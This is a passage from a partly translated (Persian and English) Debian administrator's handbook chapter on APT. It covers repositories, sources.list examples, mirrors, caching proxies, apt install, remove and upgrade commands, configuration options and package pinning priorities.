اکثر بسته‌ها از یک “مخزن پایه” می‌آیند که به ندرت بروزرسانی می‌شود (در حدود هر ۲ ماه یکبار به منظور یک “point release”). سایر مخازن نقش جانبی دارند (شامل تمام بسته‌ها نیستند) و از بروزرسانی‌ها میزبانی می‌کنند (بسته‌هایی با نسخه جدیدتر) که توسط APT نصب می‌شوند. قسمت‌های پیش‌رو به بررسی هدف و قانون هر یک از این مخازن می‌پردازد.

زمانی که نسخه مورد نظر از یک بسته در چند مخزن وجود دارد، اولین مخزنی که در فایل sources.list فهرست شده باشد مورد استفاده قرار می‌گیرد. به همین دلیل، منابع غیر-رسمی همیشه در انتهای فایل قرار می‌گیرند.

به عنوان یک نکته جانبی، اکثر مطالبی که در این قسمت درباره Stable گفته شد به طور یکسان در مورد OldStable نیز صدق می‌کند چرا که آن تنها یک نسخه قدیمی‌تر از Stable است که به صورت موازی مدیریت می‌شود.

6.1.2.1. بروزرسانی‌های امنیتی

Debian takes security seriously. Known software vulnerabilities in Debian are tracked in the Security Bug Tracker and usually get fixed in a reasonable timeframe. The security updates are not hosted on the usual network of Debian mirrors but on security.debian.org, a small set of machines maintained by the Debian System Administrators. This archive contains security updates prepared by the Debian Security Team and/or by package maintainers for the Stable and Oldstable distribution.

The server can also host security updates for Testing but this doesn't happen very often since those updates tend to reach the Testing suite via the regular flow of updates coming from Unstable.

For serious issues, the security team issues a Debian Security Advisory (DSA) and announces it together with the security update on the <debian-security-announce@lists.debian.org> mailing list (archive).

6.1.2.2. بروزرسانی‌های پایدار

این دسته به اهمیت بروزرسانی‌های امنیتی نیست اما باید قبل از انتشار نسخه پایدار بعدی، در اختیار کاربران قرار گیرند.

This repository will typically contain fixes for critical and serious bugs which could not be fixed before release or which have been introduced by subsequent updates. Depending on the urgency, it can also contain updates for packages that have to evolve over time, like spamassassin's spam detection rules, clamav's virus database, the daylight-saving time rules of all timezones (tzdata), the ESR version of Firefox (firefox-esr) or cryptographic keyrings like debian-archive-keyring.

In practice, this repository is a subset of the proposed-updates repository, carefully selected by the Stable Release Managers. All updates are announced on the <debian-stable-announce@lists.debian.org> mailing list (archive) and will be included in the next Stable point release anyway.

deb https://deb.debian.org/debian buster-updates main contrib non-free

6.1.2.3. بروزرسانی‌های پیشنهادی

زمانی که توزیع Stable منتشر شود، در بازه زمانی ۲ ماه یکبار بروزرسانی می‌گردد. مخزن proposed-updates جایی است که برای برورزسانی‌های مورد انتظار در دوره بعدی تحت نظر مدیران انتشار پایدار تصمیمات مورد نظر گرفته می‌شود.

بروزرسانی‌های امنیتی و پایدار که در قسمت‌های قبل به آن‌ها پرداخته شد، در این مخزن قرار می‌گیرند اما مدیران بسته می‌توانند به رفع باگ‌های مهم که نیاز به انتشار بعدی ندارند، بپردازند.

Anyone can use this repository to test those updates before their official publication. The extract below uses the buster-proposed-updates alias which is both more explicit and more consistent since stretch-proposed-updates also exists (for the Oldstable updates):

deb https://deb.debian.org/debian buster-proposed-updates main contrib non-free

6.1.2.4. بروزرسانی‌های پایدار قدیمی

مخزن stable-backports از “package backports” میزبانی می‌کند. این عبارت به بسته‌ای از یک نرم‌افزار اشاره می‌کند که برای یک توزیع قدیمی‌تر مجدد کامپایل شده است، به صورت عمومی برای Stable.

When the distribution becomes a little dated, numerous software projects have released new versions that are not integrated into the current Stable suite, which is only modified to address the most critical problems, such as security issues. Since the Testing and Unstable suites can be more risky, package maintainers sometimes voluntarily offer recompilations of recent software applications for Stable, which has the advantage to users and system administrators to limit potential instability to a small number of chosen packages. The page https://backports.debian.org provides more information.

Backports from stable-backports are only created from packages available in Testing. This ensures that all installed backports will be upgradable to the corresponding stable version once the next stable release of Debian is available.

Even though this repository provides newer versions of packages, APT will not install them unless you give explicit instructions to do so (or unless you have already done so with a former version of the given backport):

$ sudo apt-get install package/buster-backports $ sudo apt-get install -t buster-backports package

6.1.3. مخازنی برای کاربران Testing و Unstable

در اینجا فایل استاندارد sources.list برای سیستمی که از نسخه‌های Testing یا Unstable دبیان استفاده می‌کند قرار دارد:

مثال 6.3. /etc/apt/sources.list برای کاربران دبیان در نسخه‌های Testing/Unstable

# Unstable deb https://deb.debian.org/debian unstable main contrib non-free deb-src https://deb.debian.org/debian unstable main contrib non-free # Testing deb https://deb.debian.org/debian testing main contrib non-free deb-src https://deb.debian.org/debian testing main contrib non-free # Testing security updates deb http://security.debian.org/ testing-security main contrib non-free deb-src http://security.debian.org/ testing-security main contrib non-free # Stable deb https://deb.debian.org/debian stable main contrib non-free deb-src https://deb.debian.org/debian stable main contrib non-free # Stable security updates deb http://security.debian.org/ stable/updates main contrib non-free deb-src http://security.debian.org/ stable/updates main contrib non-free

NOTE Layout of security repositories

Starting with Debian 11 Bullseye, the codename of the repository providing security updates has been renamed from codename/updates into codename-security to avoid the confusion with codename-updates (see قسمت 6.1.2.2, “بروزرسانی‌های پایدار” ).

With this sources.list file APT will install packages from the Unstable suite. If that is not desired, use the APT::Default-Release setting (see قسمت 6.2.3, “بروزرسانی سیستم” ) to instruct APT to pick packages from another suite (most likely Testing in this case).

دلایل خوبی وجود دارد که تمام آن مخازن را وارد کنید با اینکه تنها وجود یکی کافی است. کاربران Testing در زمان بروز باگ در نرم‌افزارهای این مخزن، می‌توانند یکی از بسته‌های اصلاح شده در Unstable را انتخاب کنند. از طرف دیگر، کاربران Unstable هر زمان بخوانند امکان بازگشت به بسته موجود در مخزن Testing را خواهند داشت.

The inclusion of Stable is more debatable but it often gives access to some packages, which have been removed from the development versions. It also ensures that you get the latest updates for packages, which have not been modified since the last stable release.

6.1.3.1. مخزن Experimental

بایگانی بسته‌های Experimental در تمام سرورهای دبیان موجود است و شامل بسته‌هایی می‌شود که در Unstable به دلیل ماهیت ناپایدار خود قرار ندارند - معمولا نسخه‌های اولیه نرم‌افزار مانند آلفا، بتا و ... هستند. همچنین بسته‌ای که مشکلات زیادی را بوجود آورد به این مخزن منتقل خواهد شد. مدیر بسته در این زمان با کمک کاربران پیشرفته که قادر به شناسایی مشکلات حاد هستند می‌تواند آن‌ها را برطرف کند. پس از این مرحله، بسته به Unstable منتقل می‌شود، جایی که در دسترس کاربران بیشتری قرار خواهد گرفت.

Experimental معمولا توسط کاربرانی استفاده می‌شود که از خراب کردن سیستم و تعمیر مجدد آن بیمی ندارند. این توزیع بیشتر به منظور آزمایشی بودن یک بسته برای رفع نیازهای جدید استفاده می‌شود. این دقیقا همان رویکردی است که دبیان نسبت به آن دارد، به صورتی که اضافه کردن آن در فایل sources.list منجر به استفاده گسترده از بسته‌های موجود در آن نخواهد شد.

deb https://deb.debian.org/debian experimental main contrib non-free

6.1.4. استفاده از آینه‌های جایگزین

The sources.list examples in this chapter refer to package repositories hosted on deb.debian.org. Those URLs will redirect you to servers which are close to you and which are managed by Content Delivery Networks (CDN) whose main role is to store multiple copies of the files across the world, and to deliver them as fast as possible to users. The CDN companies that Debian is working with are Debian partners who are offering their services freely to Debian. While none of those servers are under direct control of Debian, the fact that the whole archive is sealed by GPG signatures makes it a non-issue.

Picky users who are not satisfied with the performance of deb.debian.org can try to find a better mirror in the official mirror list:

→ https://www.debian.org/mirror/list

But when you don't know which mirror is best for you, this list is of not much use. Fortunately for you, Debian maintains DNS entries of the form ftp.country-code.debian.org (e.g. ftp.us.debian.org for the USA, ftp.fr.debian.org for France, etc.) which are covering many countries and which are pointing to one (or more) of the best mirrors available within that country.

As an alternative to deb.debian.org, there used to be httpredir.debian.org. This service would identify a mirror close to you (among the list of official mirrors, using GeoIP mainly) and would redirect APT's requests to that mirror. This service has been deprecated due to reliability concerns and now httpredir.debian.org provides the same CDN-based service as deb.debian.org.

6.1.5. منابع غیر-رسمی: mentors.debian.net

There are numerous non-official sources of Debian packages set up by advanced users who have recompiled some software — Ubuntu made this popular with their Personal Package Archive (PPA) service — by programmers who make their creation available to all, and even by Debian developers who offer pre-versions of their package online.

The mentors.debian.net site is interesting (although it only provides source packages), since it gathers packages created by candidates to the status of official Debian developer or by volunteers who wish to create Debian packages without going through that process of integration. These packages are made available without any guarantee regarding their quality; make sure that you check their origin and integrity and then test them before you consider using them in production.

جامعه‌کاربری وبسایت debian.net

دامنه debian.net یک منبع رسمی از پروژه دبیان به حساب نمی‌آید. هر توسعه‌دهنده دبیان می‌تواند از آن به نفع خود استفاده کند. این وبسایت‌ها می‌توانند شامل خدمات غیر-رسمی باشند که در ماشین‌هایی میزبانی می‌گردند که جزء پروژه رسمی دبیان و توسعه‌دهندگان آن قرار ندارند یا حتی نمونه‌هایی که برای انتقال به debian.org در نظر گرفته‌اند. دو دلیل می‌تواند بیانگر این باشد که چرا برخی از این نمونه‌ها در همان وبسایت debian.net باقیمانده‌اند. یا هیچ فردی اقدام به انتقال رسمی آن‌ها به debian.org نکرده است یا سرویس مورد نظر ارزش رسمی شدن را نداشته است.

نصب یک بسته به معنی اهدا حقوق اولیه به خالق آن است، چرا که آن‌ها هستند تصمیم می‌گیرند چه محتوایی از طریق اسکریپت‌های راه‌انداز هنگام نصب قرار بگیرد. بسته‌های رسمی دبیان توسط داوطلبانی ایجاد شده‌اند که همکاری متقابل و بازنگری در بسته را داشته‌اند و کسانی که می‌توانند بسته‌ها را به صورتی تنظیم کنند تا جامعیت آن‌ها حفظ گردد.

In general, be wary of a package whose origin you don't know and which isn't hosted on one of the official Debian servers: evaluate the degree to which you can trust the creator, and check the integrity of the package.

یک قدم فراتر نسخه‌های قدیمی بسته: snapshot.debian.org

The snapshot.debian.org service, introduced in April 2010, can be used to “go backwards in time” and to find an old version of a package not longer contained in the Debian archives. It can be used, for example, to identify which version of a package introduced a regression, and more concretely, to come back to the former version while waiting for the regression fix.

6.1.6. پروکسی کش برای بسته‌های دبیان

زمانی که یک شبکه کامل از ماشین‌ها تنظیم شده‌اند تا از یک سرور بسته‌های بروزشده را دریافت کنند، هر مدیرسیستمی می‌داند که استفاده از یک کش محلی-شبکه بسیار مفید خواهد بود (قسمت واژگان Cache را مشاهده کنید)

می‌توانید APT را به گونه‌ای تنظیم کنید که مانند یک پروکسی "استاندارد" عمل کند (به قسمت 6.2.4, “گزینه‌های پیکربندی” برای قسمت APT و به قسمت 11.6, “پروکسی HTTP/FTP” برای قسمت پروکسی مراجعه کنید)، اما اکوسیتم دبیان گزینه بهتری برای حل این مشکل نیز دارد. نرم‌افزار منحصربفردی که در این قسمت معرفی می‌شود چیزی بیشتر از یک پروکسی کش ساده است چرا که می‌تواند ساختار مخازن APT را درک کند (برای نمونه، می‌داند چه زمان فایل‌های انفرادی عمرشان به پایان می‌رسد، و زمان مربوط به آن را به صورت خودکار تنظیم کند)

apt-cacher و sources.list مانند کش سرورهای معمولی کار می‌کنند. فایل apt-cacher-ng از APT بدون تغییر باقی می‌ماند، اما APT از آن‌ها به عنوان پروکسی برای درخواست‌های ارسالی خود استفاده می‌کند.

از طرف دیگر، approx به مانند یک سرور HTTP عمل می‌کند که فهرستی از مخازن راه‌دور را “بازتاب” می‌دهد. نگاشت بین دایرکتوری‌های سطح-اول و نشانی‌های راه‌دور درون فایل /etc/approx/approx.conf ذخیره می‌شود.

# <name> <repository-base-url> debian https://deb.debian.org/debian security http://security.debian.org

approx runs by default on port 9999 via a systemd socket and requires the users to adjust their sources.list file to point to the approx server:

# Sample sources.list pointing to a local approx server deb http://localhost:9999/security buster/updates main contrib non-free deb http://localhost:9999/debian buster main contrib non-free

6.2. aptitude, دستورات apt-get و apt

APT is a vast project, whose original plans included a graphical interface. It is based on a library which contains the core application, and apt-get is the first front end — command-line based — which was developed within the project. apt is a second command-line based front end provided by APT which overcomes some design mistakes of apt-get.

Both tools are built on top of the same library and are thus very close, but the default behavior of apt has been improved for interactive use and to actually do what most users expect. The APT developers reserve the right to change the public interface of this tool to further improve it. On the opposite, the public interface of apt-get is well defined and will not change in any backwards incompatible way. It is thus the tool that you want to use when you need to script package installation requests.

Numerous other graphical interfaces then appeared as external projects: synaptic, aptitude (which includes both a text mode interface and a graphical one — even if not complete yet), wajig, etc. The most recommended interface, apt, is the one that we will use in the examples given in this section. Note, however, that apt-get and aptitude have a very similar command line syntax. When there are major differences between these three commands, these will be detailed.

6.2.1. راه‌اندازی

For any work with APT, the list of available packages needs to be updated; this can be done simply through apt update. Depending on the speed of your connection and configuration, the operation can take a while, since it involves downloading a certain number of (usually compressed) files (Packages, Sources, Translation-language-code), which have gradually become bigger and bigger as Debian has developed (at least 10 MB of data for the main section). Of course, installing from a CD-ROM/DVD set does not require any downloading — in this case, the operation is very fast.

TIP Incremental updates

The aim of the apt update command is to download for each package source the corresponding Packages (or Sources) file. However, even after a xz compression, these files can remain rather large (the Packages.xz for the main section of Buster takes more than 7 MB). If you wish to update regularly, these downloads can take up a lot of time.

To speed up the process APT can download “diff” files containing the changes since the previous update, as opposed to the entire file. To achieve this, official Debian mirrors distribute different files which list the differences between one version of the Packages file and the following version. They are generated at each update of the archives and a history of one week is kept. Each of these “diff” files only takes a few dozen kilobytes for Unstable, so that the amount of data downloaded by a weekly apt update is often divided by 10. For Stable and Testing, which change less, the gain is even more noticeable.

However, it can sometimes be of interest to force the download of the entire Packages file, especially when the last upgrade is very old and when the mechanism of incremental differences would not contribute much. This can also be interesting when network access is very fast but when the processor of the machine to upgrade is rather slow, since the time saved on the download is more than lost when the computer calculates the new versions of these files (starting with the older versions and applying the downloaded differences). To do that, you can use the APT configuration parameter Acquire::PDiffs and set it to false.

$ sudo apt -o "Acquire::PDiffs=false" update

The Acquire::* options also control other aspects of the download, and even the download methods. Acquire::Languages can limit or disable the download of Translation-language-code files and save even more time. For a complete reference see apt.conf(5).

6.2.2. نصب و حذف

With APT, packages can be added or removed from the system, respectively with apt install package and apt remove package. In both cases, APT will automatically install the necessary dependencies or delete the packages which depend on the package that is being removed. The apt purge package command involves a complete uninstallation by deleting the configuration files as well.

نکته نصب مجموعه‌ی ثابتی از بسته‌ها در هر مربته

نصب تعداد مشخصی از بسته‌ها روی تمام رایانه‌ها ممکن است کار بسیار متداولی باشد که به راحتی قابل انجام است.

ابتدا، فهرست تمام بسته‌هایی که روی رایانه مبدا قرار دارند را جهت استفاده در سایر سیستم‌ها، رونوشت بگیرید.

$ dpkg --get-selections >pkg-list

فایل pkg-list شامل تمام بسته‌های نصب شده است. سپس، فایل pkg-list را به رایانه‌هایی که قصد نصب بسته‌ها را دارید منتقل کنید. می‌توانید از این فرمان استفاده کنید:

## Update dpkg's database of known packages # avail=`mktemp` # apt-cache dumpavail > "$avail" # dpkg --merge-avail "$avail" # rm -f "$avail" ## Update dpkg's selections # dpkg --set-selections < pkg-list ## Ask apt-get to install the selected packages # apt-get dselect-upgrade

The first commands record the list of available packages in the dpkg database. Then dpkg --set-selections restores the selection of packages that you wish to install, and the apt-get invocation executes the required operations! aptitude does not have this command.

نکته نصب و حذف در یک زمان

این امکان وجود دارد که از apt-get (apt یا aptitude) بخواهیم که همزمان اقدام به نصب و حذف بسته‌ها کند که اینکار با اضافه‌کردن یک پسوند صورت می‌گیرد. با یک فرمان apt install، به نام هر بسته “-” را اضافه کنید تا حذف گردد. با یک فرمان apt remove، به نام هر بسته “+” را اضافه کنید تا نصب گردد.

مثال بعد دو شیوه گوناگون برای نصب package1 و حذف package2 را نمایش می‌دهد.

# apt install package1 package2-

# apt remove package1+ package2

This can also be used to exclude packages which would otherwise be installed, for example, due to an automatic installation of Recommends. In general, the dependency solver will use that information as a hint to look for alternative solutions.

نکته apt --reinstall و aptitude reinstall

سیستم ممکن است به دلیل حذف یا تغییر فایل‌های یک بسته، آسیب ببیند. ساده‌ترین راه برای بازیابی این فایل‌ها، نصب مجدد بسته مورد نظر است. متاسفانه، سیستم بسته‌بندی در می‌یابد که بسته مورد نظر موجود است و از نصب آن خودداری می‌کند؛ برای پیشگیری، از گزینه --reinstall برای فرمان‌های apt و apt-get استفاده کنید. فرمان پیش رو اقدام به نصب مجدد postfix می‌کند حتی اگر موجود باشد:

# apt --reinstall install postfix

فرمان aptitude اما کفی متفاوت است، اما به همان نتایج قبلی با استفاده از aptitude reinstall postfix دست می‌یابد.

مشکل از dpkg آب نمی‌خورد، بلکه مدیر سیستم است که به ندرت از آن استفاده می‌کند.

مراقب باشید! استفاده از apt --reinstall برای بازیابی بسته‌هایی که حین بروز حمله دچار تغییر شده‌اند، به بازیابی صحیح سیستم منجر نمی‌شود. قسمت 14.7, “مواجهه با یک ماشین نفوذپذیر” به تشریح گام‌های مورد نیاز برای بازیابی یک سیستم نفوذ شده می‌پردازد.

These commands will not restore the configuration files. But as you have learned in قسمت 5.2.3, “Checksums، فهرستی از فایل‌های پیکربندی” (see also sidebar مطالعه بیشتر وادارکردن dpkg به پرسیدن سوالات پیکربندی), you can use the following command to be asked to install the unmodified version and even restore any deleted configuration file as well.

# apt --reinstall -o Dpkg::Options::="--force-confask,confmiss" install package

Some packages don't ship the configuration file found in /etc with the package. Instead they create it during installation by either copying a skeleton or writing it by a script. The file /etc/inputrc, for example, is a copy of /usr/share/readline/inputrc. In such cases the commands shown above won't work.

If the file sources.list mentions several distributions, it is possible to give the version of the package to install. A specific version number can be requested with apt install package=version, but indicating its distribution of origin (Stable, Testing or Unstable) — with apt install package/distribution — is usually preferred. With this command, it is possible to go back to an older version of a package (if, for instance, you know that it works well), provided that it is still available in one of the sources referenced by the sources.list file. Otherwise the snapshot.debian.org archive can come to the rescue (see sidebar یک قدم فراتر نسخه‌های قدیمی بسته: snapshot.debian.org).

مثال 6.4. Installation of the Unstable version of spamassassin

# apt install spamassassin/unstable

If the package to install has been made available to you under the form of a simple .deb file without any associated package repository, it is still possible to use APT to install it together with its dependencies (provided that the dependencies are available in the configured repositories) with a simple command: apt install ./path-to-the-package.deb. The leading ./ is important to make it clear that we are referring to a filename and not to the name of a package available in one of the repositories.

مطالعه بیشتر کَش فایل‌های .deb

APT keeps a copy of each downloaded .deb file in the directory /var/cache/apt/archives/. In case of frequent updates, this directory can quickly take a lot of disk space with several versions of each package; you should regularly sort through them. Two commands can be used: apt-get clean entirely empties the directory; apt-get autoclean only removes packages which can no longer be downloaded (because they have disappeared from the Debian mirror) and are therefore clearly useless (the configuration parameter APT::Clean-Installed can prevent the removal of .deb files that are currently installed).

6.2.3. بروزرسانی سیستم

بروزرسانی‌های متداول توصیه می‌شوند، چرا که شامل آخرین اصلاحات امنیتی هستند. برای بروزرسانی سیستم، از apt upgrade، apt-get upgrade یا aptitude safe-upgrade استفاده کنید (البته پس از فراخوانی apt update). این فرمان به بسته‌های نصب شده نگاه می‌کند که بدون حذف بسته‌های دیگر قابلیت بروزرسانی داشته باشند. به عبارت دیگر، هدف دستیابی به کم‌هزینه‌ترین نوع بروزرسانی است. apt-get در مقایسه با apt و aptitude سخت‌گیری بیشتری دارد چرا که نسبت به بسته‌های جدید از خود مقاومت نشان می‌دهد.

apt به صورت عمومی از آخرین نسخه موجود استفاده می‌کند (به جز بسته‌های موجود در Experimental و stable-backports که به صورت پیش‌فرض استفاده نمی‌شوند). اگر شما در فایل sources.list خود به Testing یا Unstable اشاره کرده باشید، apt upgrade اکثر سیستم Stable شما را به Testing تبدیل می‌کند یا حتی Unstable، چیزی که شاید انتظارش را نداشته باشید.

To tell apt to use a specific distribution when searching for upgraded packages, you need to use the -t or --target-release option, followed by the name of the distribution you want (for example, apt -t stable upgrade). To avoid specifying this option every time you use apt, you can add APT::Default-Release "stable"; in the file /etc/apt/apt.conf.d/local.

برای بروزرسانی‌های مهم‌تر، مانند تغییر از یک نسخه دبیان به دیگری، باید از apt full-upgrade استفاده کنید. با این فرمان، apt اقدام به بروزرسانی سیستم می‌کند حتی اگر لازم باشد برخی بسته‌ها را پاک کرده یا وابستگی‌های جدید را نصب کند. این فرمان همچنین از طرف کاربرانی که به صورت روزانه با توزیع Unstable کار می‌کنند مورد استفاده قرار می‌گیرد. به قدری آسان است که حتی نیاز به توضیح نیز ندارد. اعتبار APT بر اساس این قابلیت فوق‌العاده است.

برخلاف apt و aptitude، فرمان apt-get اطلاعی از full-upgrade ندارد. در عوض، باید از فرمان apt-get dist-upgrade استفاده کنید، دستور تاریخی که apt و aptitude به منظور سهولت دسترسی کاربران در استفاده از آن، شناخته می‌شود.

The results of these operations are logged into /var/log/apt/history.log and /var/log/apt/term.log, whereas dpkg keeps its log in a file called /var/log/dpkg.log.

6.2.4. گزینه‌های پیکربندی

Besides the configuration elements already mentioned, it is possible to configure certain aspects of APT by adding directives in a file of the /etc/apt/apt.conf.d/ directory or /etc/apt/apt.conf itself. Remember, for instance, that it is possible for APT to tell dpkg to ignore file conflict errors by specifying DPkg::options { "--force-overwrite"; }.

اگر وب تنها از طریق پراکسی قابل دسترسی است، یک خط مانند Acquire::http::proxy "http://yourproxy:3128" را اضافه کنید. برای پراکسی FTP، از Acquire::ftp::proxy "ftp://yourproxy" استفاده کنید. برای کشف گزینه‌های پیکربندی بیشتر، راهنمای apt.conf(5) را با استفاده از دستور man apt.conf مطالعه کنید (برای جزئیات بیشتر درباره صفحات راهنما، قسمت 7.1.1, “صفحات راهنما” را مشاهده کنید).

بازگشت به مقدمات دایرکتوری‌هایی که به .d ختم می‌شوند

دایرکتوری‌هایی با پسوند .d بیشتر و بیشتر مورد استفاده قرار می‌گیرند. هر دایرکتوری نشان‌دهنده یک فایل پیکربندی است که خود بین چند فایل کوچک‌تر تقسیم شده است. در اینجا، تمام فایل‌های موجود در /etc/apt/apt.conf.d/ دستورالعمل‌هایی برای پیکربندیAPT هستند. APT آن‌ها را به ترتیب الفبایی مرتب می‌کند به صورتی که فایل آخر قابلیت ایجاد تغییرات نسبت به فایل اول را داشته باشد.

این ساختار، انعطاف بیشتری را برای مدیرسیستم و نگهدارنده بسته به وجود می‌آورد. در حقیقت، مدیرسیستم برای ایجاد تغییرات در پیکربندی نرم‌افزار تنها کافی است یک فایل جداگانه در دایرکتوری مربوط به آن قرار دهد بجای اینکه محتوای فایل موجود را دست بزند. نگهدارنده بسته نیز از رویکرد یکسانی برای برقراری تنظیمات در سایر نرم‌افزارها نسبت به بسته خود استفاده می‌کند. خط‌مشی دبیان صراحتاً از ویرایش فایل‌های پیکربندی نرم‌افزارهای دیگر جلوگیری به عمل می‌آورد -- تنها کاربران قادر به انجام آن هستند. به یاد داشته باشید که حین بروزرسانی یک بسته، زمانی که یک تغییر ایجاد می‌شود از کاربر پرسیده می‌شود که کدام فایل پیکربندی را می‌خواهد ذخیره کند. هر تغییر خارجی اعمال شده روی فایل، این درخواست را به همراه دارد، که منجر به اذیت‌شدن مدیرسیستم می‌گردد.

بدون یک دایرکتوری .d، برای یک بسته خارجی عملاً غیرممکن است که بدون تغییر در فایل پیکربندی یک نرم‌افزار دیگر، تغییرات خود را اعمال کند. در عوض باید کاربر را دعوت به انجام این تغییرات سازد با استفاده از عملیاتی که در فایل /usr/share/doc/package/README.Debian مستند شده است.

با توجه به برنامه، دایرکتوری .d به طور مستقیم یا توسط یک اسکریپت خارجی مدیریت می‌شود که با قرار دادن تمام فایل‌های موجود در کنار هم، منجر به ایجاد فایل پیکربندی اصلی می‌گردد. اهمیت دارد که پس از تغییر در فایل‌های دایرکتوری، اسکریپت مورد نظر فراخوانی گردد تا همواره از آخرین تغییرات موجود در آن استفاده شود. به همین روش، عدم ایجاد تغییرات در فایل پیکربندی تولید شده نیز از اهمیت خاصی برخوردار است، چرا که تمام این تغییرات در اجرای بعدی اسکریپت از بین خواهد رفت. روش انتخابی (استفاده مستقیم از دایرکتوری.d یا فایلی که از سایر فایل‌های موجود در آن تولید می‌شود) با توجه به محدودیت‌های پیاده‌سازی دیکته می‌شود، اما در هر دو مورد خروجی کار در مقایسه با پیچیدگی انجام آن، ارزش خواهد داشت چرا که به انعطاف‌پذیری بیشتر ختم می‌شود. سرور ایمیل Exim 4 نمونه‌ای از شیوه تولید خودکار فایل پیکربندی است: می‌تواند از طریق چند فایل پیکربندی گردد (/etc/exim4/conf.d/*) که در نهایت توسط دستور update-exim4.conf به /var/lib/exim4/config.autogenerated تبدیل می‌شوند.

6.2.5. مدیریت اولویت بسته‌ها

یکی از جلوه‌های مهم در پیکربندی APT مدیریت اولویت مربوط به هر بسته و منبع آن است. برای نمونه، ممکن است بخواهید یک توزیع را با استفاده از یک یا چند بسته جدید از Testing، Unstable یا Experimental گسترش دهید. امکان اختصاص یک اولویت به هر بسته وجود دارد (همان بسته می‌تواند چندین اولویت مختلف با توجه به نسخه و توزیع فراهم‌کننده‌اش داشته باشد). این اولویت‌ها عملکرد APT را تحت تاثیر قرار می‌دهند: برای هر بسته، همیشه نسخه‌ای انتخاب می‌شود که بالاترین اولویت را داشته باشد (مگر حالتی که این نسخه قدیمی‌تر از نسخه نصبی باشد و اولویت آن کمتر از ۱۰۰۰ باشد).

APT چندین اولویت پیش‌فرض را تعریف می‌کند. هر بسته نصب شده اولویت ۱۰۰ دارد. یک نسخه نصب نشده اولویت ۵۰۰ دارد، اما می‌تواند به ۹۹۰ تغییر یابد اگر قسمتی از انتشار نهایی شود (که با استفاده از گزینه -t یا دستور پیکربندی APT::Default-Release تعریف می‌شود).

You can modify the priorities by adding entries in a file in /etc/apt/preferences.d/ or the /etc/apt/preferences file with the names of the affected packages, their version, their origin and their new priority.

APT will never install an older version of a package (that is, a package whose version number is lower than the one of the currently installed package) except if its priority is higher than 1000 (or it is explicitely requested by the user, see قسمت 6.2.2, “نصب و حذف” ). APT will always install the highest priority package which follows this constraint. If two packages have the same priority, APT installs the newest one (whose version number is the highest). If two packages of same version have the same priority but differ in their content, APT installs the version that is not installed (this rule has been created to cover the case of a package update without the increment of the revision number, which is usually required).

به عبارت دقیق تر ، بسته ای که اولویت دارد

< 0

هرگز نصب نخواهد شد،

۱..۹۹

فقط درصورتی نصب می شود که نسخه دیگری از بسته از قبل نصب نشده باشد،

100..499

‬فقط درصورتی نصب می شود که نسخه جدیدتری در توزیع دیگر نصب یا در دسترس نباشد،

500....989

فقط درصورتی نصب می شود که نسخه جدیدتری در توزیع مورد نظر نصب یا موجود نباشد،

990..1000

نصب خواهد شد مگر اینکه نسخه نصب شده جدیدتر باشد،

> 1000

همیشه نصب خواهد شد، حتی اگر APT را مجبور به کاهش به نسخه قدیمی کند.

When APT checks /etc/apt/preferences and /etc/apt/preferences.d/, it first takes into account the most specific entries (often those specifying the concerned package), then the more generic ones (including, for example, all the packages of a distribution). If several generic entries exist, the first match is used. The available selection criteria include the package's name and the source providing it. Every package source is identified by the information contained in a Release file that APT downloads together with the Packages files. It specifies the origin (usually “Debian” for the packages of official mirrors, but it can also be a person's or an organization's name for third-party repositories). It also gives the name of the distribution (usually Stable, Testing, Unstable or Experimental for the standard distributions provided by Debian) together with its version (for example, 10 for Debian Buster). Let's have a look at its syntax through some realistic case studies of this mechanism.

مورد بخصوص اولویت experimental

اگر به توزیع Experimental در فایل sources.list اشاره کرده‌اید، بسته‌های موجود در آن هیچگاه نصب نمی‌شوند چرا که APT به آن‌ها اولویت ۱ را اختصاص می‌دهد. البته این مورد بخصوصی است، تا از اشتباهی نصب شدن بسته‌های توزیع Experimental توسط کاربران جلوگیری بعمل آید. بسته‌ها تنها توسط دستور aptitude install package/experimental می‌توانند نصب گردند -- کاربرانی که از این دستور استفاده می‌کنند باید با خطرات آن آشنا باشند. البته این احتمال وجود دارد (اما توصیه نمی‌شود) که با بسته‌های موجود در Experimental مانند سایر توزیع‌ها برخورد شود و اولویت ۵۰۰ را به آن‌ها بدهیم. اینکار با یک تنظیم خاص در فایل /etc/apt/preferences صورت می‌پذیرد.

Package: * Pin: release a=experimental Pin-Priority: 500

بیایید فرض کنیم که شما تنها قصد استفاده از بسته‌های موجود در توزیع Stable دبیان را دارید. سایر بسته‌ها در این مورد نباید نصب شوند مگر به صورت خاص به آن‌ها اشاره گردد. برای اینکار می‌توانید مدخل زیر را در فایل /etc/apt/preferences ایجاد کنید.

Package: * Pin: release a=stable Pin-Priority: 900 Package: * Pin: release o=Debian Pin-Priority: -10

a=stable نام توزیع انتخاب شده را مشخص می‌کند. o=Debian بسته‌ها را تنها نسبت به منبع آن‌ها که «دبیان» باشد محدود می‌سازد.

Let's now assume that you have a server with several local programs depending on the version 5.24 of Perl and that you want to ensure that upgrades will not install another version of it. You could use this entry:

Package: perl Pin: version 5.24* Pin-Priority: 1001

To gain a better understanding of the mechanisms of priority and distribution or repository properties to pin do not hesitate to execute apt-cache policy to display the default priority associated with each package source, or apt-cache policy package to display the default priority for each available version and source of a package as explained in نکته apt-cache policy.

The reference documentation for the files /etc/apt/preferences and /etc/apt/preferences.d/ is available in the manual page apt_preferences(5), which you can display with man apt_preferences.

نکته توضیحات موجود در /etc/apt/preferences

شیوه رسمی برای قرار دادن توضیحات در فایل /etc/apt/preferences وجود ندارد، اما می‌توان با قرار دادن یک یا چند فیلد “Explanation” در ابتدای هر مدخل به این مهم دست یافت.

Explanation: The package xserver-xorg-video-intel provided Explanation: in experimental can be used safely Package: xserver-xorg-video-intel Pin: release a=experimental Pin-Priority: 500

6.2.6. کار با چندین توزیع مختلف

apt ابزار حیرت‌انگیزی است، انتخاب بسته از سایر توزیع‌ها کاری وسوسه‌انگیز به حساب می‌آید. برای نمونه، پس از نصب یک سیستم Stable، شاید بخواهید به آزمون یک بسته موجود در توزیع Testing یا Unstable بپردازید بدون آنکه از وضعیت فعلی سیستم فاصله بگیرید.

